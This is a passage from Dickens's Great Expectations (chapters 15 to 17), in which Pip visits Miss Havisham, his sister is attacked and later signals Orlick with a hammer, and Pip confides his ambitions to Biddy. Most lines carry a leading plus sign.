pursued, as soon as he was past that danger, +"Miss Havisham done the handsome thing by you. When Miss Havisham +done the handsome thing by you, she called me back to say to me as +that were all." + +"Yes, Joe. I heard her." + +"ALL," Joe repeated, very emphatically. + +"Yes, Joe. I tell you, I heard her." + +"Which I meantersay, Pip, it might be that her meaning were - Make +a end on it! - As you was! - Me to the North, and you to the South! +- Keep in sunders!" + +I had thought of that too, and it was very far from comforting to +me to find that he had thought of it; for it seemed to render it +more probable. + +"But, Joe." + +"Yes, old chap." + +"Here am I, getting on in the first year of my time, and, since the +day of my being bound, I have never thanked Miss Havisham, or asked +after her, or shown that I remember her." + +"That's true, Pip; and unless you was to turn her out a set of +shoes all four round - and which I meantersay as even a set of +shoes all four round might not be acceptable as a present, in a +total wacancy of hoofs--" + +"I don't mean that sort of remembrance, Joe; I don't mean a +present." + +But Joe had got the idea of a present in his head and must harp +upon it. "Or even," said he, "if you was helped to knocking her up +a new chain for the front door - or say a gross or two of +shark-headed screws for general use - or some light fancy article, +such as a toasting-fork when she took her muffins - or a gridiron +when she took a sprat or such like--" + +"I don't mean any present at all, Joe," I interposed. + +"Well," said Joe, still harping on it as though I had particularly +pressed it, "if I was yourself, Pip, I wouldn't. No, I would not. +For what's a door-chain when she's got one always up? And +shark-headers is open to misrepresentations. And if it was a +toasting-fork, you'd go into brass and do yourself no credit. And +the oncommonest workman can't show himself oncommon in a gridiron - +for a gridiron IS a gridiron," said Joe, steadfastly impressing it +upon me, as if he were endeavouring to rouse me from a fixed +delusion, "and you may haim at what you like, but a gridiron it +will come out, either by your leave or again your leave, and you +can't help yourself--" + +"My dear Joe," I cried, in desperation, taking hold of his coat, +"don't go on in that way. I never thought of making Miss Havisham +any present." + +"No, Pip," Joe assented, as if he had been contending for that, all +along; "and what I say to you is, you are right, Pip." + +"Yes, Joe; but what I wanted to say, was, that as we are rather +slack just now, if you would give me a half-holiday to-morrow, I +think I would go up-town and make a call on Miss Est - Havisham." + +"Which her name," said Joe, gravely, "ain't Estavisham, Pip, unless +she have been rechris'ened." + +"I know, Joe, I know. It was a slip of mine. What do you think of +it, Joe?" + +In brief, Joe thought that if I thought well of it, he thought well +of it. But, he was particular in stipulating that if I were not +received with cordiality, or if I were not encouraged to repeat my +visit as a visit which had no ulterior object but was simply one of +gratitude for a favour received, then this experimental trip should +have no successor. By these conditions I promised to abide. + +Now, Joe kept a journeyman at weekly wages whose name was Orlick. +He pretended that his Christian name was Dolge - a clear +impossibility - but he was a fellow of that obstinate disposition +that I believe him to have been the prey of no delusion in this +particular, but wilfully to have imposed that name upon the village +as an affront to its understanding. He was a broadshouldered +loose-limbed swarthy fellow of great strength, never in a hurry, +and always slouching. He never even seemed to come to his work on +purpose, but would slouch in as if by mere accident; and when he +went to the Jolly Bargemen to eat his dinner, or went away at +night, he would slouch out, like Cain or the Wandering Jew, as if +he had no idea where he was going and no intention of ever coming +back. He lodged at a sluice-keeper's out on the marshes, and on +working days would come slouching from his hermitage, with his +hands in his pockets and his dinner loosely tied in a bundle round +his neck and dangling on his back. On Sundays he mostly lay all day +on the sluice-gates, or stood against ricks and barns. He always +slouched, locomotively, with his eyes on the ground; and, when +accosted or otherwise required to raise them, he looked up in a +half resentful, half puzzled way, as though the only thought he +ever had, was, that it was rather an odd and injurious fact that he +should never be thinking. + +This morose journeyman had no liking for me. When I was very small +and timid, he gave me to understand that the Devil lived in a black +corner of the forge, and that he knew the fiend very well: also +that it was necessary to make up the fire, once in seven years, +with a live boy, and that I might consider myself fuel. When I +became Joe's 'prentice, Orlick was perhaps confirmed in some +suspicion that I should displace him; howbeit, he liked me still +less. Not that he ever said anything, or did anything, openly +importing hostility; I only noticed that he always beat his sparks +in my direction, and that whenever I sang Old Clem, he came in out +of time. + +Dolge Orlick was at work and present, next day, when I reminded Joe +of my half-holiday. He said nothing at the moment, for he and Joe +had just got a piece of hot iron between them, and I was at the +bellows; but by-and-by he said, leaning on his hammer: + +"Now, master! Sure you're not a-going to favour only one of us. If +Young Pip has a half-holiday, do as much for Old Orlick." I suppose +he was about five-and-twenty, but he usually spoke of himself as an +ancient person. + +"Why, what'll you do with a half-holiday, if you get it?" said Joe. + +"What'll I do with it! What'll he do with it? I'll do as much with +it as him," said Orlick. + +"As to Pip, he's going up-town," said Joe. + +"Well then, as to Old Orlick, he's a-going up-town," retorted that +worthy. "Two can go up-town. Tan't only one wot can go up-town. + +"Don't lose your temper," said Joe. + +"Shall if I like," growled Orlick. "Some and their up-towning! Now, +master! Come. No favouring in this shop. Be a man!" + +The master refusing to entertain the subject until the journeyman +was in a better temper, Orlick plunged at the furnace, drew out a +red-hot bar, made at me with it as if he were going to run it +through my body, whisked it round my head, laid it on the anvil, +hammered it out - as if it were I, I thought, and the sparks were +my spirting blood - and finally said, when he had hammered himself +hot and the iron cold, and he again leaned on his hammer: + +"Now, master!" + +"Are you all right now?" demanded Joe. + +"Ah! I am all right," said gruff Old Orlick. + +"Then, as in general you stick to your work as well as most men," +said Joe, "let it be a half-holiday for all." + +My sister had been standing silent in the yard, within hearing - +she was a most unscrupulous spy and listener - and she instantly +looked in at one of the windows. + +"Like you, you fool!" said she to Joe, "giving holidays to great +idle hulkers like that. You are a rich man, upon my life, to waste +wages in that way. I wish I was his master!" + +"You'd be everybody's master, if you durst," retorted Orlick, with +an ill-favoured grin. + +("Let her alone," said Joe.) + +"I'd be a match for all noodles and all rogues," returned my +sister, beginning to work herself into a mighty rage. "And I +couldn't be a match for the noodles, without being a match for your +master, who's the dunder-headed king of the noodles. And I couldn't +be a match for the rogues, without being a match for you, who are +the blackest-looking and the worst rogue between this and France. +Now!" + +"You're a foul shrew, Mother Gargery," growled the journeyman. +"If that makes a judge of rogues, you ought to be a good'un." + +("Let her alone, will you?" said Joe.) + +"What did you say?" cried my sister, beginning to scream. "What did +you say? What did that fellow Orlick say to me, Pip? What did he +call me, with my husband standing by? O! O! O!" Each of these +exclamations was a shriek; and I must remark of my sister, what is +equally true of all the violent women I have ever seen, that +passion was no excuse for her, because it is undeniable that +instead of lapsing into passion, she consciously and deliberately +took extraordinary pains to force herself into it, and became +blindly furious by regular stages; "what was the name he gave me +before the base man who swore to defend me? O! Hold me! O!" + +"Ah-h-h!" growled the journeyman, between his teeth, "I'd hold you, +if you was my wife. I'd hold you under the pump, and choke it out +of you." + +("I tell you, let her alone," said Joe.) + +"Oh! To hear him!" cried my sister, with a clap of her hands and a +scream together - which was her next stage. "To hear the names he's +giving me! That Orlick! In my own house! Me, a married woman! With +my husband standing by! O! O!" Here my sister, after a fit of +clappings and screamings, beat her hands upon her bosom and upon +her knees, and threw her cap off, and pulled her hair down - which +were the last stages on her road to frenzy. Being by this time a +perfect Fury and a complete success, she made a dash at the door, +which I had fortunately locked. + +What could the wretched Joe do now, after his disregarded +parenthetical interruptions, but stand up to his journeyman, and +ask him what he meant by interfering betwixt himself and Mrs. Joe; +and further whether he was man enough to come on? Old Orlick felt +that the situation admitted of nothing less than coming on, and was +on his defence straightway; so, without so much as pulling off +their singed and burnt aprons, they went at one another, like two +giants. But, if any man in that neighbourhood could stand up long +against Joe, I never saw the man. Orlick, as if he had been of no +more account than the pale young gentleman, was very soon among the +coal-dust, and in no hurry to come out of it. Then, Joe unlocked +the door and picked up my sister, who had dropped insensible at the +window (but who had seen the fight first, I think), and who was +carried into the house and laid down, and who was recommended to +revive, and would do nothing but struggle and clench her hands in +Joe's hair. Then, came that singular calm and silence which succeed +all uproars; and then, with the vague sensation which I have always +connected with such a lull - namely, that it was Sunday, and +somebody was dead - I went up-stairs to dress myself. + +When I came down again, I found Joe and Orlick sweeping up, without +any other traces of discomposure than a slit in one of Orlick's +nostrils, which was neither expressive nor ornamental. A pot of +beer had appeared from the Jolly Bargemen, and they were sharing it +by turns in a peaceable manner. The lull had a sedative and +philosophical influence on Joe, who followed me out into the road +to say, as a parting observation that might do me good, "On the +Rampage, Pip, and off the Rampage, Pip - such is Life!" + +With what absurd emotions (for, we think the feelings that are very +serious in a man quite comical in a boy) I found myself again going +to Miss Havisham's, matters little here. Nor, how I passed and +repassed the gate many times before I could make up my mind to +ring. Nor, how I debated whether I should go away without ringing; +nor, how I should undoubtedly have gone, if my time had been my +own, to come back. + +Miss Sarah Pocket came to the gate. No Estella. + +"How, then? You here again?" said Miss Pocket. "What do you want?" + +When I said that I only came to see how Miss Havisham was, Sarah +evidently deliberated whether or no she should send me about my +business. But, unwilling to hazard the responsibility, she let me +in, and presently brought the sharp message that I was to "come +up." + +Everything was unchanged, and Miss Havisham was alone. + +"Well?" said she, fixing her eyes upon me. "I hope you want +nothing? You'll get nothing." + +"No, indeed, Miss Havisham. I only wanted you to know that I am +doing very well in my apprenticeship, and am always much obliged to +you." + +"There, there!" with the old restless fingers. "Come now and then; +come on your birthday. - Ay!" she cried suddenly, turning herself +and her chair towards me, "You are looking round for Estella? Hey?" + +I had been looking round - in fact, for Estella - and I stammered +that I hoped she was well. + +"Abroad," said Miss Havisham; "educating for a lady; far out of +reach; prettier than ever; admired by all who see her. Do you feel +that you have lost her?" + +There was such a malignant enjoyment in her utterance of the last +words, and she broke into such a disagreeable laugh, that I was at +a loss what to say. She spared me the trouble of considering, by +dismissing me. When the gate was closed upon me by Sarah of the +walnut-shell countenance, I felt more than ever dissatisfied with +my home and with my trade and with everything; and that was all I +took by that motion. + +As I was loitering along the High-street, looking in disconsolately +at the shop windows, and thinking what I would buy if I were a +gentleman, who should come out of the bookshop but Mr. Wopsle. Mr +Wopsle had in his hand the affecting tragedy of George Barnwell, in +which he had that moment invested sixpence, with the view of +heaping every word of it on the head of Pumblechook, with whom he +was going to drink tea. No sooner did he see me, than he appeared +to consider that a special Providence had put a 'prentice in his +way to be read at; and he laid hold of me, and insisted on my +accompanying him to the Pumblechookian parlour. As I knew it would +be miserable at home, and as the nights were dark and the way was +dreary, and almost any companionship on the road was better than +none, I made no great resistance; consequently, we turned into +Pumblechook's just as the street and the shops were lighting up. + +As I never assisted at any other representation of George Barnwell, +I don't know how long it may usually take; but I know very well +that it took until half-past nine o' clock that night, and that +when Mr. Wopsle got into Newgate, I thought he never would go to the +scaffold, he became so much slower than at any former period of his +disgraceful career. I thought it a little too much that he should +complain of being cut short in his flower after all, as if he had +not been running to seed, leaf after leaf, ever since his course +began. This, however, was a mere question of length and +wearisomeness. What stung me, was the identification of the whole +affair with my unoffending self. When Barnwell began to go wrong, I +declare that I felt positively apologetic, Pumblechook's indignant +stare so taxed me with it. Wopsle, too, took pains to present me in +the worst light. At once ferocious and maudlin, I was made to +murder my uncle with no extenuating circumstances whatever; +Millwood put me down in argument, on every occasion; it became +sheer monomania in my master's daughter to care a button for me; +and all I can say for my gasping and procrastinating conduct on the +fatal morning, is, that it was worthy of the general feebleness of +my character. Even after I was happily hanged and Wopsle had closed +the book, Pumblechook sat staring at me, and shaking his head, and +saying, "Take warning, boy, take warning!" as if it were a +well-known fact that I contemplated murdering a near relation, +provided I could only induce one to have the weakness to become my +benefactor. + +It was a very dark night when it was all over, and when I set out +with Mr. Wopsle on the walk home. Beyond town, we found a heavy +mist out, and it fell wet and thick. The turnpike lamp was a blur, +quite out of the lamp's usual place apparently, and its rays looked +solid substance on the fog. We were noticing this, and saying how +that the mist rose with a change of wind from a certain quarter of +our marshes, when we came upon a man, slouching under the lee of +the turnpike house. + +"Halloa!" we said, stopping. "Orlick, there?" + +"Ah!" he answered, slouching out. "I was standing by, a minute, on +the chance of company." + +"You are late," I remarked. + +Orlick not unnaturally answered, "Well? And you're late." + +"We have been," said Mr. Wopsle, exalted with his late performance, +"we have been indulging, Mr. Orlick, in an intellectual evening." + +Old Orlick growled, as if he had nothing to say about that, and we +all went on together. I asked him presently whether he had been +spending his half-holiday up and down town? + +"Yes," said he, "all of it. I come in behind yourself. I didn't see +you, but I must have been pretty close behind you. By-the-bye, the +guns is going again." + +"At the Hulks?" said I. + +"Ay! There's some of the birds flown from the cages. The guns have +been going since dark, about. You'll hear one presently." + +In effect, we had not walked many yards further, when the +wellremembered boom came towards us, deadened by the mist, and +heavily rolled away along the low grounds by the river, as if it +were pursuing and threatening the fugitives. + +"A good night for cutting off in," said Orlick. "We'd be puzzled +how to bring down a jail-bird on the wing, to-night." + +The subject was a suggestive one to me, and I thought about it in +silence. Mr. Wopsle, as the ill-requited uncle of the evening's +tragedy, fell to meditating aloud in his garden at Camberwell. +Orlick, with his hands in his pockets, slouched heavily at my side. +It was very dark, very wet, very muddy, and so we splashed along. +Now and then, the sound of the signal cannon broke upon us again, +and again rolled sulkily along the course of the river. I kept +myself to myself and my thoughts. Mr. Wopsle died amiably at +Camberwell, and exceedingly game on Bosworth Field, and in the +greatest agonies at Glastonbury. Orlick sometimes growled, "Beat it +out, beat it out - Old Clem! With a clink for the stout - Old +Clem!" I thought he had been drinking, but he was not drunk. + +Thus, we came to the village. The way by which we approached it, +took us past the Three Jolly Bargemen, which we were surprised to +find - it being eleven o'clock - in a state of commotion, with the +door wide open, and unwonted lights that had been hastily caught up +and put down, scattered about. Mr. Wopsle dropped in to ask what was +the matter (surmising that a convict had been taken), but came +running out in a great hurry. + +"There's something wrong," said he, without stopping, "up at your +place, Pip. Run all!" + +"What is it?" I asked, keeping up with him. So did Orlick, at my +side. + +"I can't quite understand. The house seems to have been violently +entered when Joe Gargery was out. Supposed by convicts. Somebody +has been attacked and hurt." + +We were running too fast to admit of more being said, and we made +no stop until we got into our kitchen. It was full of people; the +whole village was there, or in the yard; and there was a surgeon, +and there was Joe, and there was a group of women, all on the floor +in the midst of the kitchen. The unemployed bystanders drew back +when they saw me, and so I became aware of my sister - lying +without sense or movement on the bare boards where she had been +knocked down by a tremendous blow on the back of the head, dealt by +some unknown hand when her face was turned towards the fire - +destined never to be on the Rampage again, while she was the wife +of Joe. + + +Chapter 16 + +With my head full of George Barnwell, I was at first disposed to +believe that I must have had some hand in the attack upon my +sister, or at all events that as her near relation, popularly known +to be under obligations to her, I was a more legitimate object of +suspicion than any one else. But when, in the clearer light of next +morning, I began to reconsider the matter and to hear it discussed +around me on all sides, I took another view of the case, which was +more reasonable. + +Joe had been at the Three Jolly Bargemen, smoking his pipe, from a +quarter after eight o'clock to a quarter before ten. While he was +there, my sister had been seen standing at the kitchen door, and +had exchanged Good Night with a farm-labourer going home. The man +could not be more particular as to the time at which he saw her (he +got into dense confusion when he tried to be), than that it must +have been before nine. When Joe went home at five minutes before +ten, he found her struck down on the floor, and promptly called in +assistance. The fire had not then burnt unusually low, nor was the +snuff of the candle very long; the candle, however, had been blown +out. + +Nothing had been taken away from any part of the house. Neither, +beyond the blowing out of the candle - which stood on a table +between the door and my sister, and was behind her when she stood +facing the fire and was struck - was there any disarrangement of +the kitchen, excepting such as she herself had made, in falling and +bleeding. But, there was one remarkable piece of evidence on the +spot. She had been struck with something blunt and heavy, on the +head and spine; after the blows were dealt, something heavy had +been thrown down at her with considerable violence, as she lay on +her face. And on the ground beside her, when Joe picked her up, was +a convict's leg-iron which had been filed asunder. + +Now, Joe, examining this iron with a smith's eye, declared it to +have been filed asunder some time ago. The hue and cry going off to +the Hulks, and people coming thence to examine the iron, Joe's +opinion was corroborated. They did not undertake to say when it had +left the prison-ships to which it undoubtedly had once belonged; +but they claimed to know for certain that that particular manacle +had not been worn by either of the two convicts who had escaped last +night. Further, one of those two was already re-taken, and had not +freed himself of his iron. + +Knowing what I knew, I set up an inference of my own here. I +believed the iron to be my convict's iron - the iron I had seen and +heard him filing at, on the marshes - but my mind did not accuse +him of having put it to its latest use. For, I believed one of two +other persons to have become possessed of it, and to have turned it +to this cruel account. Either Orlick, or the strange man who had +shown me the file. + +Now, as to Orlick; he had gone to town exactly as he told us when +we picked him up at the turnpike, he had been seen about town all +the evening, he had been in divers companies in several +public-houses, and he had come back with myself and Mr. Wopsle. +There was nothing against him, save the quarrel; and my sister had +quarrelled with him, and with everybody else about her, ten +thousand times. As to the strange man; if he had come back for his +two bank-notes there could have been no dispute about them, because +my sister was fully prepared to restore them. Besides, there had +been no altercation; the assailant had come in so silently and +suddenly, that she had been felled before she could look round. + +It was horrible to think that I had provided the weapon, however +undesignedly, but I could hardly think otherwise. I suffered +unspeakable trouble while I considered and reconsidered whether I +should at last dissolve that spell of my childhood, and tell Joe +all the story. For months afterwards, I every day settled the +question finally in the negative, and reopened and reargued it next +morning. The contention came, after all, to this; - the secret was +such an old one now, had so grown into me and become a part of +myself, that I could not tear it away. In addition to the dread +that, having led up to so much mischief, it would be now more +likely than ever to alienate Joe from me if he believed it, I had a +further restraining dread that he would not believe it, but would +assort it with the fabulous dogs and veal-cutlets as a monstrous +invention. However, I temporized with myself, of course - for, was +I not wavering between right and wrong, when the thing is always +done? - and resolved to make a full disclosure if I should see any +such new occasion as a new chance of helping in the discovery of +the assailant. + +The Constables, and the Bow Street men from London - for, this +happened in the days of the extinct red-waistcoated police - were +about the house for a week or two, and did pretty much what I have +heard and read of like authorities doing in other such cases. They +took up several obviously wrong people, and they ran their heads +very hard against wrong ideas, and persisted in trying to fit the +circumstances to the ideas, instead of trying to extract ideas from +the circumstances. Also, they stood about the door of the Jolly +Bargemen, with knowing and reserved looks that filled the whole +neighbourhood with admiration; and they had a mysterious manner of +taking their drink, that was almost as good as taking the culprit. +But not quite, for they never did it. + +Long after these constitutional powers had dispersed, my sister lay +very ill in bed. Her sight was disturbed, so that she saw objects +multiplied, and grasped at visionary teacups and wine-glasses +instead of the realities; her hearing was greatly impaired; her +memory also; and her speech was unintelligible. When, at last, she +came round so far as to be helped down-stairs, it was still +necessary to keep my slate always by her, that she might indicate +in writing what she could not indicate in speech. As she was (very +bad handwriting apart) a more than indifferent speller, and as Joe +was a more than indifferent reader, extraordinary complications +arose between them, which I was always called in to solve. The +administration of mutton instead of medicine, the substitution of +Tea for Joe, and the baker for bacon, were among the mildest of my +own mistakes. + +However, her temper was greatly improved, and she was patient. A +tremulous uncertainty of the action of all her limbs soon became a +part of her regular state, and afterwards, at intervals of two or +three months, she would often put her hands to her head, and would +then remain for about a week at a time in some gloomy aberration of +mind. We were at a loss to find a suitable attendant for her, until +a circumstance happened conveniently to relieve us. Mr. Wopsle's +great-aunt conquered a confirmed habit of living into which she had +fallen, and Biddy became a part of our establishment. + +It may have been about a month after my sister's reappearance in +the kitchen, when Biddy came to us with a small speckled box +containing the whole of her worldly effects, and became a blessing +to the household. Above all, she was a blessing to Joe, for the +dear old fellow was sadly cut up by the constant contemplation of +the wreck of his wife, and had been accustomed, while attending on +her of an evening, to turn to me every now and then and say, with +his blue eyes moistened, "Such a fine figure of a woman as she once +were, Pip!" Biddy instantly taking the cleverest charge of her as +though she had studied her from infancy, Joe became able in some +sort to appreciate the greater quiet of his life, and to get down +to the Jolly Bargemen now and then for a change that did him good. +It was characteristic of the police people that they had all more +or less suspected poor Joe (though he never knew it), and that they +had to a man concurred in regarding him as one of the deepest +spirits they had ever encountered. + +Biddy's first triumph in her new office, was to solve a difficulty +that had completely vanquished me. I had tried hard at it, but had +made nothing of it. Thus it was: + +Again and again and again, my sister had traced upon the slate, a +character that looked like a curious T, and then with the utmost +eagerness had called our attention to it as something she +particularly wanted. I had in vain tried everything producible that +began with a T, from tar to toast and tub. At length it had come +into my head that the sign looked like a hammer, and on my lustily +calling that word in my sister's ear, she had begun to hammer on +the table and had expressed a qualified assent. Thereupon, I had +brought in all our hammers, one after another, but without avail. +Then I bethought me of a crutch, the shape being much the same, and +I borrowed one in the village, and displayed it to my sister with +considerable confidence. But she shook her head to that extent when +she was shown it, that we were terrified lest in her weak and +shattered state she should dislocate her neck. + +When my sister found that Biddy was very quick to understand her, +this mysterious sign reappeared on the slate. Biddy looked +thoughtfully at it, heard my explanation, looked thoughtfully at my +sister, looked thoughtfully at Joe (who was always represented on +the slate by his initial letter), and ran into the forge, followed +by Joe and me. + +"Why, of course!" cried Biddy, with an exultant face. "Don't you +see? It's him!" + +Orlick, without a doubt! She had lost his name, and could only +signify him by his hammer. We told him why we wanted him to come +into the kitchen, and he slowly laid down his hammer, wiped his +brow with his arm, took another wipe at it with his apron, and came +slouching out, with a curious loose vagabond bend in the knees that +strongly distinguished him. + +I confess that I expected to see my sister denounce him, and that I +was disappointed by the different result. She manifested the +greatest anxiety to be on good terms with him, was evidently much +pleased by his being at length produced, and motioned that she +would have him given something to drink. She watched his +countenance as if she were particularly wishful to be assured that +he took kindly to his reception, she showed every possible desire +to conciliate him, and there was an air of humble propitiation in +all she did, such as I have seen pervade the bearing of a child +towards a hard master. After that day, a day rarely passed without +her drawing the hammer on her slate, and without Orlick's slouching +in and standing doggedly before her, as if he knew no more than I +did what to make of it. + + +Chapter 17 + +I now fell into a regular routine of apprenticeship life, which was +varied, beyond the limits of the village and the marshes, by no +more remarkable circumstance than the arrival of my birthday and my +paying another visit to Miss Havisham. I found Miss Sarah Pocket +still on duty at the gate, I found Miss Havisham just as I had left +her, and she spoke of Estella in the very same way, if not in the +very same words. The interview lasted but a few minutes, and she +gave me a guinea when I was going, and told me to come again on my +next birthday. I may mention at once that this became an annual +custom. I tried to decline taking the guinea on the first occasion, +but with no better effect than causing her to ask me very angrily, +if I expected more? Then, and after that, I took it. + +So unchanging was the dull old house, the yellow light in the +darkened room, the faded spectre in the chair by the dressing-table +glass, that I felt as if the stopping of the clocks had stopped +Time in that mysterious place, and, while I and everything else +outside it grew older, it stood still. Daylight never entered the +house as to my thoughts and remembrances of it, any more than as to +the actual fact. It bewildered me, and under its influence I +continued at heart to hate my trade and to be ashamed of home. + +Imperceptibly I became conscious of a change in Biddy, however. Her +shoes came up at the heel, her hair grew bright and neat, her hands +were always clean. She was not beautiful - she was common, and +could not be like Estella - but she was pleasant and wholesome and +sweet-tempered. She had not been with us more than a year (I +remember her being newly out of mourning at the time it struck me), +when I observed to myself one evening that she had curiously +thoughtful and attentive eyes; eyes that were very pretty and very +good. + +It came of my lifting up my own eyes from a task I was poring at - +writing some passages from a book, to improve myself in two ways at +once by a sort of stratagem - and seeing Biddy observant of what I +was about. I laid down my pen, and Biddy stopped in her needlework +without laying it down. + +"Biddy," said I, "how do you manage it? Either I am very stupid, or +you are very clever." + +"What is it that I manage? I don't know," returned Biddy, smiling. + +She managed our whole domestic life, and wonderfully too; but I did +not mean that, though that made what I did mean, more surprising. + +"How do you manage, Biddy," said I, "to learn everything that I +learn, and always to keep up with me?" I was beginning to be rather +vain of my knowledge, for I spent my birthday guineas on it, and +set aside the greater part of my pocket-money for similar +investment; though I have no doubt, now, that the little I knew was +extremely dear at the price. + +"I might as well ask you," said Biddy, "how you manage?" + +"No; because when I come in from the forge of a night, any one can +see me turning to at it. But you never turn to at it, Biddy." + +"I suppose I must catch it - like a cough," said Biddy, quietly; +and went on with her sewing. + +Pursuing my idea as I leaned back in my wooden chair and looked at +Biddy sewing away with her head on one side, I began to think her +rather an extraordinary girl. For, I called to mind now, that she +was equally accomplished in the terms of our trade, and the names +of our different sorts of work, and our various tools. In short, +whatever I knew, Biddy knew. Theoretically, she was already as good +a blacksmith as I, or better. + +"You are one of those, Biddy," said I, "who make the most of every +chance. You never had a chance before you came here, and see how +improved you are!" + +Biddy looked at me for an instant, and went on with her sewing. "I +was your first teacher though; wasn't I?" said she, as she sewed. + +"Biddy!" I exclaimed, in amazement. "Why, you are crying!" + +"No I am not," said Biddy, looking up and laughing. "What put that +in your head?" + +What could have put it in my head, but the glistening of a tear as +it dropped on her work? I sat silent, recalling what a drudge she +had been until Mr. Wopsle's great-aunt successfully overcame that +bad habit of living, so highly desirable to be got rid of by some +people. I recalled the hopeless circumstances by which she had been +surrounded in the miserable little shop and the miserable little +noisy evening school, with that miserable old bundle of +incompetence always to be dragged and shouldered. I reflected that +even in those untoward times there must have been latent in Biddy +what was now developing, for, in my first uneasiness and discontent +I had turned to her for help, as a matter of course. Biddy sat +quietly sewing, shedding no more tears, and while I looked at her +and thought about it all, it occurred to me that perhaps I had not +been sufficiently grateful to Biddy. I might have been too +reserved, and should have patronized her more (though I did not use +that precise word in my meditations), with my confidence. + +"Yes, Biddy," I observed, when I had done turning it over, "you +were my first teacher, and that at a time when we little thought of +ever being together like this, in this kitchen." + +"Ah, poor thing!" replied Biddy. It was like her +self-forgetfulness, to transfer the remark to my sister, and to get +up and be busy about her, making her more comfortable; "that's +sadly true!" + +"Well!" said I, "we must talk together a little more, as we used to +do. And I must consult you a little more, as I used to do. Let us +have a quiet walk on the marshes next Sunday, Biddy, and a long +chat." + +My sister was never left alone now; but Joe more than readily +undertook the care of her on that Sunday afternoon, and Biddy and I +went out together. It was summer-time, and lovely weather. When we +had passed the village and the church and the churchyard, and were +out on the marshes and began to see the sails of the ships as they +sailed on, I began to combine Miss Havisham and Estella with the +prospect, in my usual way. When we came to the river-side and sat +down on the bank, with the water rippling at our feet, making it +all more quiet than it would have been without that sound, I +resolved that it was a good time and place for the admission of +Biddy into my inner confidence. + +"Biddy," said I, after binding her to secrecy, "I want to be a +gentleman." + +"Oh, I wouldn't, if I was you!" she returned. "I don't think it +would answer." + +"Biddy," said I, with some severity, "I have particular reasons for +wanting to be a gentleman." + +"You know best, Pip; but don't you think you are happier as you +are?" + +"Biddy," I exclaimed, impatiently, "I am not at all happy as I am. +I am disgusted with my calling and with my life. I have never taken +to either, since I was bound. Don't be absurd." + +"Was I absurd?" said Biddy, quietly raising her eyebrows; "I am +sorry for that; I didn't mean to be. I only want you to do well, +and to be comfortable." + +"Well then, understand once for all that I never shall or can be +comfortable - or anything but miserable - there, Biddy! - unless I +can lead a very different sort of life from the life I lead now." + +"That's a pity!" said Biddy, shaking her head with a sorrowful air. + +Now, I too had so often thought it a pity, that, in the singular +kind of quarrel with myself which I was always carrying on, I was +half inclined to shed tears of vexation and distress when Biddy +gave utterance to her sentiment and my own. I told her she was +right, and I knew it was much to be regretted, but still it was not +to be helped. + +"If I could have settled down," I said to Biddy, plucking up the +short grass within reach, much as I had once upon a time pulled my +feelings out of my hair and kicked them into the brewery wall: "if +I could have settled down and been but half as fond of the forge as +I was when I was little, I know it would have been much better for +me. You and I and Joe would have wanted nothing then, and Joe and I +would perhaps have gone partners when I was out of my time, and I +might even have grown up to keep company with you, and we might +have sat on this very bank on a fine Sunday, quite different +people. I should have been good enough for you; shouldn't I, +Biddy?" + +Biddy sighed as she looked at the ships sailing on, and returned +for answer, "Yes; I am not over-particular." It scarcely sounded +flattering, but I knew she meant well. + +"Instead of that," said I, plucking up more grass and chewing a +blade or two, "see how I am going on. Dissatisfied, and +uncomfortable, and - what would it signify to me, being coarse and +common, if nobody had told me so!" + +Biddy turned her face suddenly towards mine, and looked far more +attentively at me than she had looked at the sailing ships. + +"It was neither a very true nor a very polite thing to say," she +remarked, directing her eyes to the ships again. "Who said it?" + +I was disconcerted, for I had broken away without quite seeing +where I was going to. It was not to be shuffled off now, however, +and I answered, "The beautiful young lady at Miss Havisham's, and +she's more beautiful than anybody ever was, and I admire her +dreadfully, and I want to be a gentleman on her account." Having +made this lunatic confession, I began to throw my torn-up grass +into the river, as if I had some thoughts of following it. + +"Do you want to be a gentleman, to spite her or to gain her over?" +Biddy quietly asked me, after a pause. + +"I don't know," I moodily answered. + +"Because, if it is to spite her," Biddy pursued, "I should think - +but you know best - that might be better and more independently +done by caring nothing for her words. And if it is to gain her +over, I should think - but you know best - she was not worth +gaining over." + +Exactly what I myself had thought, many times. Exactly what was +perfectly manifest to me at the moment. But how could I, a poor +dazed village lad, avoid that wonderful inconsistency into which +the best and wisest of men fall every day? + +"It may be all quite true," said I to Biddy, "but I admire her +dreadfully." + +In short, I turned over on my face when I came to that, and got a +good grasp on the hair on each side of my head, and wrenched it +well. All the while knowing the madness of my heart to be so very +mad and misplaced, that I was quite conscious it would have served +my face right, if I had lifted it up by my hair, and knocked it +against the pebbles as a punishment for belonging to such an idiot. + +Biddy was the wisest of girls, and she tried to reason no more with +me. She put her hand, which was a comfortable hand though roughened +by work, upon my hands, one after another, and gently took them out +of my hair. Then she softly patted my shoulder in a soothing way, +while with my face upon my sleeve I cried a little - exactly as I +had done in the brewery yard - and felt vaguely convinced that I +was very much ill-used by somebody, or by everybody; I can't say +which. + +"I am glad of one thing," said Biddy, "and that is, that you have +felt you could give me your confidence, Pip. And I am glad of +another thing, and that is, that of course you know you may depend +upon my keeping it and always so far deserving it. If your first +teacher (dear! such a poor one, and so much in need of being taught +herself!) had been your teacher at the present time, she thinks she +knows what lesson she would set. But It would be a hard one to +learn, and you have got beyond her, and it's of no use now." So, +with a quiet sigh for me, Biddy rose from the bank, and said, with +a fresh and pleasant change of voice, "Shall we walk a little +further, or go home?" + +"Biddy," I cried, getting up, putting my arm round her neck, and +giving her a kiss, "I shall always tell you everything." + +"Till you're a gentleman," said Biddy. + +"You know I never shall be, so that's always. Not that I have any +occasion to tell you anything, for you know everything I know - as +I told you at home the other night." + +"Ah!" said Biddy, quite in a whisper, as she looked away at the +ships. And then repeated, with her former pleasant change; "shall +we walk a little further, or go home?" + +I said to Biddy we would walk a little further, and we did so, and +the summer afternoon toned down into the summer evening, and it was +very beautiful. I began to consider whether I was not more +naturally and wholesomely situated, after all, in these +circumstances, than playing beggar my neighbour by candlelight in +the room with the stopped clocks, and being despised by Estella. I +thought it would be very good for me if I could get her out of my +head, with all the rest of those remembrances and fancies, and +could go to work determined to relish what I had to do, and stick +to it, and make the best of it. I asked myself the question whether +I did not surely know that if Estella were beside me at that moment +instead of Biddy, she would make me miserable? I was obliged to +admit that I did know it for a certainty, and I said to myself, +"Pip, what a fool you are!" + +We talked a good deal as we walked, and all that Biddy said seemed +right. Biddy was never insulting, or capricious, or Biddy to-day +and somebody else to-morrow; she would have derived only pain, and +no pleasure, from giving me pain; she would far rather have wounded +her own breast than mine. How could it be, then, that I did not +like her much the better of the two? + +"Biddy," said I, when we were walking homeward, "I wish you 